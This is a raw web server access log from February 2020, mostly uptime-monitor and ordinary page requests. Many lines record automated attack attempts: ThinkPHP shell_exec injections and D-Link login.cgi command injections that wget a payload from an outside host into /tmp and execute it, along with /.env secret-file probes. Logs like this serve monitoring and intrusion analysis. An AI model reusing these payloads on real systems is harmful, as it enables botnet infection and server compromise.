5.202.147.131 - - [01/Feb/2020:09:24:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
1.54.146.50 - - [01/Feb/2020:09:25:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:09:25:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:09:26:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.251.25.168 - - [01/Feb/2020:09:26:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:09:27:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.37.41 - - [01/Feb/2020:09:27:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
182.48.105.210 - - [01/Feb/2020:09:28:19 +0100] "GET / HTTP/1.0" 200 1229 "http://212.91.246.88:80/" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)"
212.91.246.72 - - [01/Feb/2020:09:28:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
217.60.196.104 - - [01/Feb/2020:09:28:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
1.54.189.30 - - [01/Feb/2020:09:29:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.81.72.127 - - [01/Feb/2020:09:29:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
35.178.66.97 - - [01/Feb/2020:09:29:41 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:09:29:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.81.72.127 - - [01/Feb/2020:09:29:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
35.180.209.162 - - [01/Feb/2020:09:29:47 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
182.48.105.210 - - [01/Feb/2020:09:30:21 +0100] "GET / HTTP/1.0" 200 1229 "http://212.91.246.82:80/" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)"
212.91.246.72 - - [01/Feb/2020:09:30:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
182.48.105.210 - - [01/Feb/2020:09:31:08 +0100] "GET / HTTP/1.0" 200 1229 "http://212.91.246.87:80/" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)"
182.48.105.210 - - [01/Feb/2020:09:31:15 +0100] "GET / HTTP/1.0" 200 1229 "http://212.91.246.86:80/" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)"
182.48.105.210 - - [01/Feb/2020:09:31:37 +0100] "GET / HTTP/1.0" 200 1229 "http://212.91.246.89:80/" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)"
212.91.246.72 - - [01/Feb/2020:09:31:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:09:32:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
182.48.105.210 - - [01/Feb/2020:09:33:11 +0100] "GET / HTTP/1.0" 200 1229 "http://212.91.246.85:80/" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)"
212.91.246.72 - - [01/Feb/2020:09:33:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.179.158.82 - - [01/Feb/2020:09:34:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
35.180.65.39 - - [01/Feb/2020:09:34:16 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:09:34:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:09:35:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
99.79.123.17 - - [01/Feb/2020:09:36:16 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:09:36:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.180.44.23 - - [01/Feb/2020:09:37:28 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:09:37:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.77.25.17 - - [01/Feb/2020:09:38:11 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:09:38:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.56.213 - - [01/Feb/2020:09:38:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
182.48.105.210 - - [01/Feb/2020:09:38:44 +0100] "GET / HTTP/1.0" 200 1229 "http://212.91.246.81:80/" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)"
212.91.246.72 - - [01/Feb/2020:09:39:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.183.100.141 - - [01/Feb/2020:09:40:40 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:09:40:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:09:41:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:09:42:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.52.24.52 - - [01/Feb/2020:09:42:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [01/Feb/2020:09:43:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
18.195.154.46 - - [01/Feb/2020:09:44:02 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:09:44:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.186.135.200 - - [01/Feb/2020:09:45:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:09:45:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
15.188.26.98 - - [01/Feb/2020:09:46:06 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:09:46:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.138.131 - - [01/Feb/2020:09:47:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:09:47:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.249.226.135 - - [01/Feb/2020:09:48:04 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:09:48:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:09:49:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
90.151.154.140 - - [01/Feb/2020:09:49:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:09:50:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:09:51:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:09:52:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:09:53:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:09:54:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:09:55:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
18.185.17.89 - - [01/Feb/2020:09:56:00 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:09:56:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:09:57:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:09:58:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:09:59:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.236.231.59 - - [01/Feb/2020:09:59:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.69.26.18 - - [01/Feb/2020:09:59:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
102.159.128.110 - - [01/Feb/2020:10:00:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:10:00:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
13.53.177.122 - - [01/Feb/2020:10:00:42 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:10:01:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.213.81 - - [01/Feb/2020:10:02:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:10:02:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
18.185.17.89 - - [01/Feb/2020:10:03:31 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:10:03:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.203.220.146 - - [01/Feb/2020:10:03:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:10:04:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.211.124 - - [01/Feb/2020:10:04:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.57.71.212 - - [01/Feb/2020:10:05:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:10:05:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.30.188.191 - - [01/Feb/2020:10:06:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.114.169.56 - - [01/Feb/2020:10:06:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:10:06:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.41.25.179 - - [01/Feb/2020:10:07:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.132.53.119/Venom.sh%20-O%20-%3E%20/tmp/kh;Venom.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
54.252.242.55 - - [01/Feb/2020:10:07:16 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:10:07:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:10:08:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:10:09:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.141.134.9 - - [01/Feb/2020:10:10:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:10:10:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.154.64.227 - - [01/Feb/2020:10:10:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:10:11:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
86.120.44.244 - - [01/Feb/2020:10:12:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:10:12:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:10:13:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:10:14:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
3.8.183.125 - - [01/Feb/2020:10:14:49 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
71.90.216.156 - - [01/Feb/2020:10:15:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:10:15:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
3.136.236.171 - - [01/Feb/2020:10:16:31 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:10:16:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.26.222 - - [01/Feb/2020:10:16:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.71.13.83 - - [01/Feb/2020:10:16:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:10:17:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
144.48.241.120 - - [01/Feb/2020:10:17:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
144.48.241.120 - - [01/Feb/2020:10:17:52 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
144.48.241.120 - - [01/Feb/2020:10:17:53 +0100] "POST /Admin59f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
42.112.137.1 - - [01/Feb/2020:10:18:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:10:18:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:10:19:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:10:20:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
86.153.26.69 - - [01/Feb/2020:10:20:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [01/Feb/2020:10:21:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:10:22:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
13.238.182.77 - - [01/Feb/2020:10:22:45 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:10:23:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:10:24:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:10:25:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.213.45 - - [01/Feb/2020:10:25:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:10:26:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:10:27:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:10:28:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:10:29:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.125.17.16 - - [01/Feb/2020:10:30:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:10:30:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:10:31:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.0.204.177 - - [01/Feb/2020:10:31:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
36.109.16.92 - - [01/Feb/2020:10:32:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:10:32:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.188.86.79 - - [01/Feb/2020:10:33:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:10:33:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:10:34:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:10:35:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
